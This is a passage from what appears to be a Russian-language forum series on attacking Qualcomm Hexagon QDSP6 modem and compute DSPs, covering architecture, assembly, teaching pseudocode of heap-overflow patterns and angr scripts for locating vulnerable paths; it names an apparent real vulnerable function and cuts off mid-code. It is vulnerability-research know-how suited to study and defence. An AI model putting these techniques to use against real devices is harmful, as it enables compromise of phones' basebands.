LIMB
Вход Регистрация

тема

ныряем в hexagon QDSP6 или какие векторы атак есть на модем телефона на базе qualcomm

progasm · · 2 ответов · 132 просмотров

---

# Глава 1. Hexagon QDSP6: Архитектура изнутри

by progasm

---

## Предисловие

Если ты когда-нибудь разбирал Qualcomm-девайс и думал «а что вообще там внутри, за этим ARM-ядром» — добро пожаловать. Я провёл несколько месяцев, закапываясь в DSP-прошивки, и хочу рассказать тебе то, что не найдёшь в одном месте: как устроен Hexagon QDSP6, как он живёт внутри SoC, почему он интересен с точки зрения безопасности, и как именно его ломать.

Это не просто теория. Мы пройдём путь от архитектуры до реального PoC на реальном железе — POCO M8 5G с чипом Snapdragon 6 Gen 3 (SM6475, платформа parrot). Но сначала — фундамент.

---

## 1.1 Что такое DSP и зачем Qualcomm его придумал

DSP — Digital Signal Processor. Это не просто «ещё один процессор» рядом с ARM. Это специализированный вычислитель, оптимизированный под задачи обработки сигналов: аудио, видео, нейронные сети, связь.

ARM Cortex умеет всё, но ценой энергопотребления. Задача «декодировать AAC-стрим в фоне» на ARM-ядре — это разбуженное ядро, полная частота, 300+ мВт. На DSP — та же задача при 10 мВт, ядра ARM спят. Вот почему Qualcomm годами вкладывался в собственный DSP.

В SoC на базе Snapdragon присутствует несколько DSP-инстанций:

| Экземпляр | Назначение |
|-----------|-----------|
| ADSP (Audio DSP) | Аудио, Always-On Sensing |
| CDSP (Compute DSP) | HVX, нейросети, ML |
| MDSP (Modem DSP) | Стек LTE/5G, baseband |
| SLPI | Сенсоры, low-power islands |

Нас в первую очередь интересует MDSP и CDSP — именно там живут самые вкусные уязвимости с точки зрения привилегий и атакуемости извне.

---

## 1.2 Семейство Hexagon: от V1 до V73

Qualcomm называет свою DSP-архитектуру Hexagon. QDSP6 — это шестое поколение, именно оно стало массовым и используется во всех современных Snapdragon SoC.

Внутри QDSP6 — несколько поколений микроархитектур:

Code:
V1  → V2  → V3  → V4  (MSM7xxx, ранние Snapdragon)
V5  → V55 → V56        (Snapdragon 800, 801)
V60 → V61 → V62        (Snapdragon 820, 835)
V65 → V66              (Snapdragon 845, 855)
V68                    (Snapdragon 865, 888)
V69                    (Snapdragon 8 Gen 1)
V73                    (Snapdragon 8 Gen 2, 6 Gen 3)

Наш таргет — SM6475 (Snapdragon 6 Gen 3, платформа parrot) — использует Hexagon V73.

Что менялось между версиями:
  • Ширина вектора HVX: 64→128 байт
  • Количество execution units
  • Расширения для ML: Hexagon Neural Processing Unit (HTA)
  • Изменения MMU и MPU
  • Новые инструкции и форматы пакетов

Документация по конкретным версиям частично публична — Qualcomm выкладывает reference manuals на developer.qualcomm.com, но не всё и не всегда актуальное.

---

## 1.3 Архитектура ядра QDSP6

Hexagon QDSP6 — VLIW (Very Long Instruction Word) процессор с аппаратной многопоточностью. Это сразу два непривычных свойства для тех, кто привык к x86 или ARM.

### 1.3.1 VLIW: пакеты инструкций

В обычном процессоре одна инструкция — одна операция. В VLIW компилятор сам упаковывает несколько независимых операций в один «пакет», который процессор исполняет параллельно.

Code:
// Пример пакета QDSP6 (псевдокод)
{
    R0 = R1 + R2       // ALU операция
    R3 = memw(R4)      // Load из памяти
    P0 = cmp.eq(R5,R6) // Comparison → predicate
}
// Всё три операции — за один такт

Пакеты Hexagon могут содержать до 4 слотов. Каждый слот — отдельная функциональная единица:
  • Slot 0, 1: ALU / shift / арифметика
  • Slot 2: ALU / умножение
  • Slot 3: Load/Store

Важный момент для реверсера: если ты видишь в дизассемблере инструкции, обёрнутые в { } — это один пакет, исполняющийся атомарно. Это критично для понимания семантики кода.

### 1.3.2 Аппаратные потоки (Hardware Threads)

QDSP6 поддерживает одновременное исполнение нескольких аппаратных потоков (hardware threads, или HW threads) на одном ядре. V73 поддерживает до 4 HW-потоков.

Это не гиперпоточность в смысле Intel: каждый HW-поток имеет свой полный набор регистров, свой PC, свой стек. При переключении между потоками нет overhead на сохранение контекста — регистровый файл у каждого свой.

Это влияет на безопасность: каждый поток может иметь разные привилегии, разные MMU-контексты.

### 1.3.3 Execution Units


Code:
┌────────────────────────────────────────────────┐
│              Hexagon V73 Core                  │
│                                                │
│  ┌──────┐ ┌──────┐ ┌──────┐ ┌──────┐          │
│  │ ALU0 │ │ ALU1 │ │ MUL  │ │ LD/ST│          │
│  └──────┘ └──────┘ └──────┘ └──────┘          │
│       ↑        ↑       ↑        ↑              │
│  ─────────────────────────────────────────     │
│         Unified Register File                  │
│    R0-R31 (32×32-bit general purpose)          │
│    P0-P3  (4×8-bit predicate registers)        │
│    C0-C31 (control registers)                  │
│  ─────────────────────────────────────────     │
│         Instruction Fetch / Decode             │
│  ─────────────────────────────────────────     │
│    HW Thread 0 | HW Thread 1 | HW Thread 2     │
│    HW Thread 3                                 │
└────────────────────────────────────────────────┘

### 1.3.4 Векторный блок HVX

HVX (Hexagon Vector eXtensions) — это SIMD-расширение с регистрами шириной 128 байт (1024 бит). Используется для:
  • Обработки изображений
  • DSP-вычислений
  • Нейронных сетей

С точки зрения безопасности HVX-инструкции — отдельная поверхность: в истории были баги в парсерах HVX-инструкций в эмуляторах и при JIT-компиляции.

---

## 1.4 Подсистема памяти

### 1.4.1 Адресное пространство

QDSP6 использует 32-битное виртуальное адресное пространство с поддержкой MMU. Типичная раскладка для ADSP/CDSP:

Code:
0x00000000 - 0x00FFFFFF  : TCM (Tightly Coupled Memory) — быстрая память ядра
0x01000000 - 0x0FFFFFFF  : Internal RAM
0x80000000 - 0x9FFFFFFF  : Shared memory с ARM (SMEM)
0xC0000000 - 0xFFFFFFFF  : MMIO, периферия

Для MDSP (модем DSP) раскладка другая и строже изолирована от HLOS (High-Level OS = Android).

### 1.4.2 MPU vs MMU

Не все версии Hexagon имеют полноценный MMU. Некоторые инстанции (SLPI, части ADSP) используют MPU (Memory Protection Unit) — упрощённую версию без трансляции адресов, только с регионами и правами.

MDSP исторически использовал более строгую изоляцию через SMMU (System MMU) на стороне ARM-хоста, что добавляет слой защиты но и создаёт интересные вопросы при атаке через shared memory.

### 1.4.3 Уровни привилегий

Hexagon имеет 3 уровня привилегий (privilege levels):

Code:
User mode (PL0)      — пользовательский код, сервисы
Supervisor (PL1)     — QuRT RTOS, управление ресурсами
Monitor/Hypervisor   — только на некоторых конфигурациях

QuRT — это RTOS от Qualcomm, работающий на Hexagon. Это монолитная ОС реального времени, которая управляет потоками, памятью и IPС на DSP. Если ты получил код выполнения в QuRT — ты фактически в supervisor mode на DSP.

---

## 1.5 Коммуникация ARM ↔ Hexagon

Это ключевое место с точки зрения атаки. Как ARM (Android) общается с DSP?

### 1.5.1 FastRPC

FastRPC (Fast Remote Procedure Call) — это механизм IPC между HLOS (Android) и DSP. Работает через kernel driver (/dev/adsprpc-smd, /dev/fastrpc-*) и shared memory.

Code:
┌─────────────────────┐       ┌─────────────────────┐
│    Android (ARM)    │       │   Hexagon DSP       │
│                     │       │                     │
│  app → libcdsprpc   │──────▶│  skeleton stub      │
│        ↓            │  SHM  │       ↓             │
│  /dev/fastrpc-cdsp  │       │  compute_lib.so     │
└─────────────────────┘       └─────────────────────┘

Клиентская часть на ARM вызывает функции через IDL stub (Interface Definition Language). Данные передаются через shared memory или SMEM. На стороне DSP живёт skeleton — код, принимающий вызовы и вызывающий реальные функции.

FastRPC — наш главный вектор атаки. Подробно разберём в главе 9.

### 1.5.2 SMD / SMSM (Shared Memory Driver)

Для моденного DSP (MDSP) используется другой механизм — SMD (Shared Memory Driver) и его новая версия GLINK. Это более низкоуровневый транспорт для обмена данными между ARM и модемом.

### 1.5.3 Subsystem Restart (SSR)

Интересная особенность: если DSP паникует (crash), ARM-сторона это детектирует через SSR механизм и перезапускает DSP-подсистему. Это важно для нас как исследователей — crash на DSP не всегда ведёт к reboot устройства, иногда это просто restart сервиса.

---

## 1.6 Безопасность и изоляция: теория

Qualcomm декларирует несколько уровней защиты:

1. SMMU изоляция — DSP не может читать произвольную память ARM
2. Подпись образов — прошивка DSP подписана, верифицируется при загрузке
3. Privilege separation — user/supervisor разделение внутри DSP
4. SecureMSM — на уровне TrustZone ARM контролирует загрузку DSP

На практике:
  • FastRPC открывает широкую атаку-поверхность
  • Shared memory регионы часто доступны из userspace
  • Проверки в IDL stub бывают неполными
  • Старые .so на DSP с N-day уязвимостями

---

## 1.7 Инструменты для работы с Hexagon

| Инструмент | Назначение |
|-----------|-----------|
| LLVM/Clang для Hexagon | Официальный компилятор, поддержка в mainline LLVM |
| Qualcomm SDK | Официальный SDK для CDSP (частично публичный) |
| IDA Pro + Hexagon plugin | Дизассемблер (plugin от Qualcomm или community) |
| Ghidra + QDSP6 module | Открытый анализ (NSA Ghidra + community processor) |
| QEMU + Hexagon | Эмуляция (добавлена в mainline QEMU 6.x) |
| hexagon-binutils | GNU binutils порт для Hexagon |
| Frida | Динамический анализ (нужен кастомный backend для DSP) |

---

## 1.8 Итог главы

Мы разобрали:
  • Hexagon QDSP6 — VLIW-процессор с аппаратной многопоточностью
  • Внутри SoC есть несколько DSP-инстанций (ADSP, CDSP, MDSP)
  • Ключевой канал атаки — FastRPC между Android и DSP
  • QuRT — RTOS на DSP, supervisor-уровень
  • Архитектура памяти и уровни привилегий

В следующей главе погружаемся в ассемблер Hexagon — учимся читать и писать код для QDSP6, разбираем реальные инструкции из прошивок.

---

«Архитектура — это карта. Пока не умеешь её читать — остаёшься туристом.»


ewpage

# Глава 2. Hexagon QDSP6 Assembly: читаем и пишем как человек

by progasm

---

## 2.1 Почему ассемблер QDSP6 — это не больно

Первый раз открывая дизассемблер Hexagon, хочется закрыть ноутбук и уйти. Инструкции выглядят странно, синтаксис непривычный, везде какие-то { } скобки. Но на самом деле всё логично — нужно просто понять несколько ключевых концепций, и дальше читать будет легко.

Я проходил через это. Давай пройдём вместе, но быстрее.

---

## 2.2 Регистры

### 2.2.1 Общего назначения (R0–R31)

32 регистра по 32 бита. Можно объединять в пары для 64-битных операций:

Code:
R0          ; 32-bit регистр
R1:0        ; 64-bit пара: R1 (старшие 32 бит) : R0 (младшие 32 бит)
R3:2        ; следующая пара

Calling convention (ABI Hexagon):

| Регистр | Роль |
|---------|------|
| R0–R5 | Аргументы функции / возвращаемые значения |
| R6–R7 | Временные (callee может использовать) |
| R8–R15 | Saved (callee должен сохранить) |
| R16–R27 | Callee-saved |
| R28 | Callee-saved |
| R29 | Stack Pointer (SP) |
| R30 | Frame Pointer (FP) |
| R31 | Link Register (LR) — адрес возврата |

Если функция получает структуру — она передаётся через R0:R1 (8 байт) или через указатель в R0.

### 2.2.2 Predicate registers (P0–P3)

4 predicate-регистра по 8 бит. Это флаги условий, но более гибкие чем в ARM:

Code:
P0 = cmp.eq(R0, R1)    ; P0 = (R0 == R1)
P1 = cmp.gt(R2, R3)    ; P1 = (R2 > R3) signed
P2 = cmp.gtu(R4, R5)   ; P2 = (R4 > R5) unsigned

if (P0) R6 = R7        ; условное присваивание
if (!P1) jump .label   ; условный переход (инвертированный)

Predicate-регистры можно комбинировать:

Code:
P3 = P0 & P1           ; логическое AND предикатов
P3 = P0 | P1           ; logical OR
P3 = P0 ^ P1           ; XOR

### 2.2.3 Control Registers (C0–C31)

Управляющие регистры. Наиболее важные:

| Регистр | Псевдоним | Назначение |
|---------|-----------|-----------|
| C0 | SA0 | Loop start address 0 |
| C1 | LC0 | Loop count 0 |
| C2 | SA1 | Loop start address 1 |
| C3 | LC1 | Loop count 1 |
| C4 | P3:0 | Predicate registers (все 4) |
| C8 | USR | User Status Register |
| C9 | PC | Program Counter |
| C10 | UGP | User General Pointer |
| C11 | GP | Global Pointer |
| C29 | STID | Software Thread ID |
| C30 | ELR | Exception Link Register |
| C31 | PKTCOUNT | Packet counter |

---

## 2.3 Пакеты инструкций: ключевая концепция

Это самое важное что нужно понять в Hexagon ассемблере.

Hexagon — VLIW процессор. Компилятор упаковывает несколько независимых инструкций в пакет (packet), который исполняется за один такт.

Code:
; Обычная последовательность (не пакет):
R0 = R1 + R2
R3 = R4 + R5

; Тот же код как пакет:
{
    R0 = R1 + R2
    R3 = R4 + R5
}

Правила пакетов:

1. До 4 инструкций в пакете
2. Все инструкции в пакете читают входные регистры до того как какая-либо инструкция записала результат
3. Нельзя в одном пакете читать регистр, в который другая инструкция того же пакета пишет (data hazard)
4. В пакете может быть только один branch

Data forwarding исключение: запись в регистр в пакете N видна только с пакета N+1. Это критически важно для корректного чтения кода!

Code:
; ОШИБКА — data hazard в пакете:
{
    R0 = R1 + R2     ; пишем R0
    R3 = R0 + R4     ; читаем R0 — но это СТАРОЕ значение R0!
}

; Правильно:
R0 = R1 + R2
{
    R3 = R0 + R4     ; теперь R0 уже обновлён
}

В дизассемблере (IDA, Ghidra) пакеты обычно отображаются с явными скобками или специальными маркерами.

---

## 2.4 Инструкции: базовый набор

### 2.4.1 Арифметика

Code:
; Сложение/вычитание
R0 = R1 + R2                ; R0 = R1 + R2
R0 = R1 - R2                ; R0 = R1 - R2
R0 = R1 + R2:sat            ; R0 = saturate(R1 + R2)
R0 += R1                    ; R0 = R0 + R1  (аккумуляция)

; 64-битная арифметика
R1:0 = R3:2 + R5:4          ; 64-bit add

; Умножение
R0 = mpy(R1, R2)            ; R0 = низкие 32 бит (R1 * R2)
R1:0 = mpy(R2, R3)          ; 64-bit результат
R0 = mpyi(R1, #5)           ; умножить на immediate

; Деление (медленно!)
R0 = R1 / R2                ; знаковое деление
R0 = R1 / R2 :rnd           ; с округлением

### 2.4.2 Логика и сдвиги

Code:
R0 = and(R1, R2)            ; R0 = R1 & R2
R0 = or(R1, R2)             ; R0 = R1 | R2 
R0 = xor(R1, R2)            ; R0 = R1 ^ R2
R0 = not(R1)                ; R0 = ~R1

; Сдвиги
R0 = asr(R1, #4)            ; арифметический сдвиг вправо на 4
R0 = lsr(R1, #4)            ; логический сдвиг вправо
R0 = asl(R1, #4)            ; сдвиг влево
R0 = asr(R1, R2)            ; сдвиг на переменное количество бит

; Ротация
R0 = rol(R1, #3)            ; rotate left

; Битовые операции
R0 = setbit(R1, #5)         ; установить бит 5
R0 = clrbit(R1, #5)         ; сбросить бит 5
R0 = togglebit(R1, #5)      ; инвертировать бит 5
P0 = tstbit(R1, #5)         ; проверить бит 5 → predicate

### 2.4.3 Работа с памятью (Load/Store)

Code:
; Loads
R0 = memb(R1 + #4)          ; load byte (sign-extended)
R0 = memub(R1 + #4)         ; load unsigned byte
R0 = memh(R1 + #8)          ; load halfword (16 bit)
R0 = memuh(R1 + #8)         ; load unsigned halfword
R0 = memw(R1 + #12)         ; load word (32 bit)
R1:0 = memd(R2 + #16)       ; load double (64 bit)

; Addressing modes
R0 = memw(R1)               ; base register
R0 = memw(R1 + #offset)     ; base + immediate
R0 = memw(R1 + R2 << #2)   ; base + scaled register
R0 = memw(R1 ++ #4)         ; post-increment: load then R1 += 4
R0 = memw(R1 -- #4)         ; post-decrement

; Stores
memb(R1 + #4) = R0          ; store byte
memh(R1 + #4) = R0          ; store halfword
memw(R1 + #4) = R0          ; store word
memd(R1 + #4) = R1:0        ; store double

### 2.4.4 Управление потоком

Code:
; Безусловные переходы
jump .label                 ; прямой jump (PC-relative)
jumpr R0                    ; indirect jump (через регистр)
call .func                  ; вызов функции (R31 = return addr)
callr R0                    ; indirect call

; Условные переходы
if (P0) jump .label         ; если P0 истина
if (!P0) jump .label        ; если P0 ложь
if (P0.new) jump .label     ; .new — ссылка на P0 вычисленный в том же пакете

; Return
jumpr R31                   ; return (jump to link register)

Важная концепция — .new:

Code:
{
    P0 = cmp.eq(R0, #0)
    if (P0.new) jump:t .label   ; :t = taken hint (предсказание)
}

.new позволяет использовать предикат вычисленный в этом же пакете. Это ускоряет код но делает его труднее для чтения.

---

## 2.5 Аппаратные циклы

Одна из самых красивых фич Hexagon — аппаратные циклы без overhead на проверку условия:

Code:
; Аппаратный цикл
loop0(.loop_body, #10)       ; настроить счётчик = 10, адрес начала

.loop_body:
    R0 = R0 + R1
    R2 = memw(R3 ++ #4)     ; post-increment
endloop0                     ; уменьшить счётчик, если != 0 — jump к loop_body

; Вложенные циклы
loop0(.inner, R4)
loop1(.outer, R5)
.outer:
.inner:
    ; тело
    endloop0
endloop1

endloop0/endloop1 — специальные инструкции которые автоматически:
1. Декрементируют счётчик (LC0/LC1)
2. Прыгают к SA0/SA1 если счётчик != 0

Для реверсера: если видишь endloop0 — перед тобой hot loop. Часто там и живут баги с off-by-one.

---

## 2.6 Разбор кода: учебный пример

Примечание: Этот и следующий фрагменты — учебные псевдокодовые примеры, иллюстрирующие типичные паттерны из DSP-кода. Не из конкретных проанализированных библиотек. Реальные дизассемблированные фрагменты из нашего исследования — в главах 7–10.

Типичный паттерн: функция с magic-check + bounds validation:

Code:
; Функция: int validate_buffer(void *buf, int size)
; (учебный псевдокод, иллюстрирующий типичный паттерн)

    {
        R2 = memw(R0 + #0)        ; load buf->magic
        R3 = memw(R0 + #4)        ; load buf->length
    }
    {
        R4 = and(R3, #0xFFFF0000) ; маскируем старшие 16 бит length
        P0 = cmp.eq(R2, #0xDEADBEEF)  ; проверяем magic
    }
    {
        if (!P0) jump .fail       ; если magic неверный — выход
        R5 = R3                   ; копируем length
    }
    {
        R4 = asr(R4, #16)         ; R4 = size (старшие 16 бит)
        R6 = R1                   ; сохраняем аргумент size
    }
    P1 = cmp.gtu(R5, R6)         ; length > input size?
    if (P1) jump .fail            ; overflow protection

.fail:
    R0 = #-1
    jumpr R31                     ; return -1

Что видно в паттерне:
1. Структура с полями magic и length (offset 0 и 4)
2. Проверка magic значения 0xDEADBEEF
3. Проверка length > size через cmp.gtu

Типичный баг в таком коде:

  • R4 = and(R3, #0xFFFF0000) — маскируются только старшие 16 бит
  • Затем R4 = asr(R4, #16) — реально используется (length >> 16)
  • Но проверка cmp.gtu(R5, R6) использует R5 (полное R3), а не R4

В реальных прошивках встречаются подобные несоответствия. Конкретные примеры из нашего исследования — в главах 7–9.

---

## 2.7 Соглашения о вызовах: практика

Code:
; Вызов функции: int memcpy_checked(void *dst, void *src, size_t n)
; dst → R0, src → R1, n → R2

.caller:
    R0 = R28                ; dst
    R1 = R27                ; src
    R2 = #256               ; n = 256 байт
    call memcpy_checked
    ; R0 теперь содержит return value

; Пролог функции:
memcpy_checked:
    {
        allocframe(#24)     ; выделить кадр стека (24 байта)
        memw(R29 + #0) = R16  ; сохранить callee-saved
    }
    memw(R29 + #4) = R17
    memw(R29 + #8) = R18

; Эпилог:
    {
        R0 = #0             ; return value
        dealloc_return      ; восстановить кадр + return
    }

allocframe(#N) = R29 -= N; memw(R29) = R31; memw(R29+4) = R30

dealloc_return = R31 = memw(R29); R30 = memw(R29+4); R29 += N; jumpr R31

Это нужно знать наизусть при реверсе.

---

## 2.8 Специальные паттерны и антипаттерны

### 2.8.1 Загрузка константы (нет immediate > 16 бит)

Hexagon не может загрузить 32-битную константу за одну инструкцию. Компилятор генерирует:

Code:
R0 = ##0x12345678           ; псевдоинструкция → разворачивается в:
; R0.H = #0x1234            ; hi-16
; R0.L = #0x5678            ; lo-16

Или через:
Code:
R0 = #lo(0x12345678)
R0.H = #hi(0x12345678)

### 2.8.2 Паттерн switch/case

Code:
; switch(R0) с таблицей переходов
R1 = jumptable_base
R0 = asl(R0, #2)             ; R0 *= 4 (размер указателя)
R0 = R0 + R1                 ; адрес записи в таблице
R0 = memw(R0)                ; загрузить адрес case
jumpr R0                     ; перейти

В прошивках это очень частый паттерн — конечные автоматы протоколов.

### 2.8.3 Паттерн memmove с выравниванием

Code:
; Быстрый memmove через memd (double-word)
loop0(.memmove_loop, R2 >> #3)  ; count = len / 8
.memmove_loop:
    R3:2 = memd(R0 ++ #8)       ; load 8 bytes, post-increment src
    memd(R1 ++ #8) = R3:2       ; store 8 bytes, post-increment dst
endloop0

Если R2 не кратно 8 — хвост обрабатывается отдельно. Если хвост не обрабатывается — потенциальный баг.

---

## 2.9 Что дает нам дизассемблер

### IDA Pro + Hexagon Plugin

Qualcomm выпускал официальный IDA-плагин, но он устарел. Актуальный — форк с поддержкой V73.

Полезные горячие клавиши:
  • P — создать функцию из текущего адреса
  • Y — установить тип переменной/функции
  • N — переименовать
  • X — xrefs to

При анализе DSP-кода включи Options → Compiler → Hexagon для правильного распознавания calling convention.

### Ghidra + QDSP6

Более открытый путь. NSA Ghidra поддерживает Hexagon V67+, для V73 может потребоваться патч процессорного модуля.

Killer feature Ghidra для нас — Decompiler. Он генерирует псевдо-C код из Hexagon ассемблера, и это сильно ускоряет реверс.

C:
// Пример вывода Ghidra decompiler для validate_buffer:
int validate_buffer(void *buf, int size) {
    uint magic = *(uint*)buf;
    uint length = *((uint*)buf + 1);
    if (magic != 0xdeadbeef) return -1;
    if (length > (uint)size) return -1;
    // ...
}

---

## 2.10 Практическое упражнение

Примечание: Это учебный псевдокод, иллюстрирующий паттерн heap overflow в RPC-обработчике. Реальный пример подобного паттерна из нашего исследования — в главе 10 (sysmon_usermode_buffer_copy @ 0x33c8).

Паттерн heap overflow в RPC-обработчике:

Code:
; RPC-обработчик (учебный псевдокод)

    allocframe(#32)
    {
        R16 = R0                  ; сохранить первый аргумент
        R17 = R1                  ; сохранить второй
    }
    {
        R0 = memw(R16 + #0)       ; load request->type
        R1 = memw(R16 + #4)       ; load request->handle
    }
    R2 = #0x14                    ; sizeof(response) = 20 bytes HARDCODED
    call malloc                   ; malloc(0x14)
    {
        P0 = cmp.eq(R0, #0)       ; malloc вернул NULL?
        R18 = R0                  ; сохранить указатель
    }
    if (P0) jump .oom_error       ; out of memory

    ; ... обработка
    R0 = memw(R17 + #0)           ; load size из пользовательских данных
    {
        R1 = R18                  ; dst = malloc(0x14) буфер
        R2 = memw(R17 + #4)       ; load src из пользовательских данных
    }
    call memcpy                   ; memcpy(dst, src, size)
    ; НЕТ проверки size перед memcpy → heap overflow

Паттерн: size берётся из пользовательских данных без проверки, malloc выделяет фиксированные 0x14 = 20 байт, memcpy копирует неограниченное количество. Это паттерн heap overflow. Реальный пример этого паттерна в нашем исследовании: sysmon_usermode_buffer_copy @ 0x33c8 — malloc(0x101), затем memscpy(dst, 0x101, src, user_controlled_len) (глава 10).

---

## 2.11 Итог главы

Мы изучили:
  • Регистровый файл Hexagon (R0-R31, P0-P3, C-регистры)
  • Концепцию пакетов VLIW и data forwarding
  • Базовый набор инструкций с примерами
  • Calling convention Hexagon ABI
  • Реальные паттерны из DSP-прошивок
  • Как читать дизассемблированный код

В следующей главе переходим к символьному исполнению — инструменту который позволит нам найти пути достижения уязвимостей автоматически.

---

«Дизассемблер — это не перевод. Это другой язык для описания того же.»


ewpage

# Глава 3. Символьное исполнение: как заставить машину думать за тебя

by progasm

---

## 3.1 Проблема которую мы решаем

Ты смотришь на функцию парсера. 400 строк ассемблера. Восемь условных переходов. Три вложенных цикла. И где-то там — условие при котором происходит целочисленное переполнение.

Как его найти?

Вариант один: читать руками. Долго, пропускаешь кейсы, устаёшь.

Вариант два: фаззить. Запускать много входных данных и смотреть на краши. Работает, но покрытие неполное — ты никогда не знаешь, добрался ли фаззер до нужной ветки.

Вариант три: символьное исполнение. Пусть инструмент сам найдёт все пути и условия, при которых достигается уязвимое состояние.

---

## 3.2 Что такое символьное исполнение

Обычное конкретное исполнение:

Code:
input = 42
x = input + 1  → x = 43
if (x > 100): ...  → FALSE, ветка не взята

Символьное исполнение:

Code:
input = α  (символ, "неизвестное значение")
x = α + 1  (символическое выражение)
if (x > 100):
    → Ветка TRUE взята когда: α + 1 > 100 → α > 99
    → Ветка FALSE взята когда: α ≤ 99

Вместо конкретных значений мы работаем с символическими выражениями. При каждом условном переходе программа разветвляется на два состояния. В каждом ветке накапливаются constraints — ограничения на символические переменные.

Когда мы хотим узнать: "при каком входе достигается эта точка?" — мы передаём накопленные constraints в SMT-solver (например Z3), который находит конкретное значение.

Code:
Constraints: { α > 99, α < 256 }
Z3 решение: α = 100  ✓

---

## 3.3 Архитектура symbolic execution engine

Code:
┌─────────────────────────────────────────────────────┐
│              Symbolic Execution Engine              │
│                                                     │
│  ┌──────────────┐    ┌───────────────────────────┐  │
│  │   Binary/    │    │    Symbolic State         │  │
│  │   Program    │───▶│  - Registers (symbolic)   │  │
│  └──────────────┘    │  - Memory (symbolic)      │  │
│                      │  - Path constraints        │  │
│  ┌──────────────┐    └───────────────────────────┘  │
│  │  Instruction │              │                    │
│  │  Semantics   │              ▼                    │
│  │  (lifter)    │    ┌───────────────────────────┐  │
│  └──────────────┘    │    State Manager           │  │
│                      │  (fork at branches)        │  │
│  ┌──────────────┐    └───────────────────────────┘  │
│  │  SMT Solver  │              │                    │
│  │    (Z3)      │◀─────────────┘                    │
│  └──────────────┘                                   │
└─────────────────────────────────────────────────────┘

Lifter — компонент который транслирует инструкции целевой архитектуры (Hexagon) во внутреннее представление движка (обычно промежуточный язык типа VEX или IR).

State Manager — управляет набором состояний. При ветвлении создаёт копию состояния для каждой ветки.

SMT Solver — решает уравнения с ограничениями.

---

## 3.4 Инструменты

### 3.4.1 angr

angr — Python-фреймворк для binary analysis с поддержкой символьного исполнения. Самый распространённый в security research.

Python:
import angr
import claripy

# Загрузить бинарник (Hexagon ELF)
proj = angr.Project('./libqdspservice.so',
                    auto_load_libs=False,
                    arch='hexagon')

# Создать символические входные данные
buf_size = 0x100
sym_buf = claripy.BVS('input_buf', buf_size * 8)  # 256 байт символических

# Создать начальное состояние
state = proj.factory.blank_state(
    addr=0x0001A340,   # адрес функции validate_buffer
    add_options={angr.options.SYMBOL_FILL_UNCONSTRAINED_MEMORY}
)

# Положить символический буфер в R0
state.regs.r0 = state.memory.alloc_and_store(sym_buf)
state.regs.r1 = claripy.BVV(0x200, 32)  # size = 512

# Запустить simulation manager
simgr = proj.factory.simulation_manager(state)

# Искать путь к адресу уязвимости, избегать exit/error пути
simgr.explore(
    find=0x0001A400,    # цель: адрес после проверок
    avoid=0x0001A380    # избегать: error return
)

if simgr.found:
    found_state = simgr.found[0]
    # Получить конкретное значение входа
    concrete_input = found_state.solver.eval(sym_buf, cast_to=bytes)
    print(f"Найден входной буфер: {concrete_input.hex()}")

Проблема с Hexagon в angr: поддержка Hexagon в angr была ограниченной. Но начиная с angr 9.x появился lifter для Hexagon V67+ через archinfo и pyvex. Для V73 может потребоваться патчить семантику инструкций вручную.

### 3.4.2 Triton

Triton — C++ движок с Python-биндингами, более низкоуровневый. Хорошо подходит для concolic execution.

Важно: Triton не поддерживает Hexagon из коробки. Поддерживаемые архитектуры: x86, x86-64, AArch32, AArch64. Для Hexagon нужен отдельный lifter, которого в публичном Triton нет. Этот инструмент не применялся в нашем исследовании.

### 3.4.3 KLEE

Работает на уровне LLVM IR. Если у нас есть исходники или LLVM IR для Hexagon кода — KLEE отличный вариант.

Bash:
# Компилируем в LLVM bitcode
clang -target hexagon-unknown-linux-musl \
      -emit-llvm -c dsp_service.c -o dsp_service.bc

# Запускаем KLEE
klee --max-time=60 dsp_service.bc

### 3.4.4 Concolic execution с QEMU

Самый практичный подход для реальных DSP-бинарников: запускаем код в QEMU с Hexagon поддержкой (добавлена в QEMU 6.x), и с помощью QEMU TCG callbacks собираем трассы исполнения для последующего символьного анализа.

Python:
# Псевдокод: конколическое исполнение через QEMU трассу
def concolic_execute(binary, concrete_input):
    trace = qemu_run(binary, concrete_input)  # конкретное исполнение
    constraints = lift_trace_to_smt(trace)     # поднимаем трассу в SMT
   
    # Инвертируем последнюю ветку для нового пути
    new_constraints = constraints[:-1] + [negate(constraints[-1])]
    new_input = z3_solve(new_constraints)
   
    return new_input  # новый ввод который пойдёт по другому пути

---

## 3.5 Symbolic execution для поиска zero-day в QDSP6

### 3.5.1 Где искать

Наиболее интересные места для символьного анализа в DSP-коде:

1. Парсеры протоколов — входные данные приходят извне (через FastRPC), много ветвлений, сложная логика
2. Обработчики команд — switch/case по типам сообщений
3. Функции с malloc+memcpy — классические heap overflow
4. Функции с Integer операциями — переполнения при вычислении размеров

### 3.5.2 Практический подход: поиск heap overflow

Python:
import angr
import claripy

class HeapOverflowDetector(angr.SimProcedure):
    """Перехватчик для memcpy — проверяем size > allocated"""
   
    def run(self, dst, src, size):
        allocated_size = self.state.globals.get('last_malloc_size', None)
       
        if allocated_size is not None:
            # Добавляем assertion: size <= allocated_size
            overflow_condition = claripy.UGT(size, allocated_size)
           
            if self.state.solver.satisfiable(
                extra_constraints=[overflow_condition]
            ):
                # Нашли потенциальный overflow!
                trigger_input = self.state.solver.eval(
                    self.state.globals['sym_input']
                )
                print(f"[!] Heap overflow возможен!")
                print(f"    Входное значение: {hex(trigger_input)}")
                print(f"    Allocated: {self.state.solver.eval(allocated_size)}")
                print(f"    Copy size: {self.state.solver.eval(size)}")
       
        # Добавляем реальное ограничение (нет overflow)
        self.state.solver.add(claripy.ULE(size, claripy.BVV(0x1000, 32)))
        return self._do_memcpy(dst, src, size)

# Хукаем malloc для отслеживания размеров
class TrackingMalloc(angr.SimProcedure):
    def run(self, size):
        self.state.globals['last_malloc_size'] = size
        # Вызываем реальный malloc
        ptr = self.state.heap.malloc(self.state.solver.eval(size))
        return ptr

# Регистрируем хуки
proj.hook_symbol('memcpy', HeapOverflowDetector())
proj.hook_symbol('malloc', TrackingMalloc())

### 3.5.3 Path explosion и как с ним бороться

Главная проблема символьного исполнения — path explosion: количество путей растёт экспоненциально с количеством ветвлений.

Для реального DSP-кода с тысячами функций и миллионами путей это быстро становится неуправляемым.

Стратегии борьбы:

1. Directed symbolic execution
 — фокусируемся на конкретной функции, не анализируем весь граф:

Python:
# Анализируем только одну функцию, не переходим в другие
simgr = proj.factory.simulation_manager(state)
simgr.use_technique(angr.exploration_techniques.DFS())  # depth-first

# Ограничиваем глубину
simgr.explore(
    find=target_addr,
    avoid=avoid_addrs,
    step_func=lambda sm: sm.move(
        from_stash='active',
        to_stash='pruned',
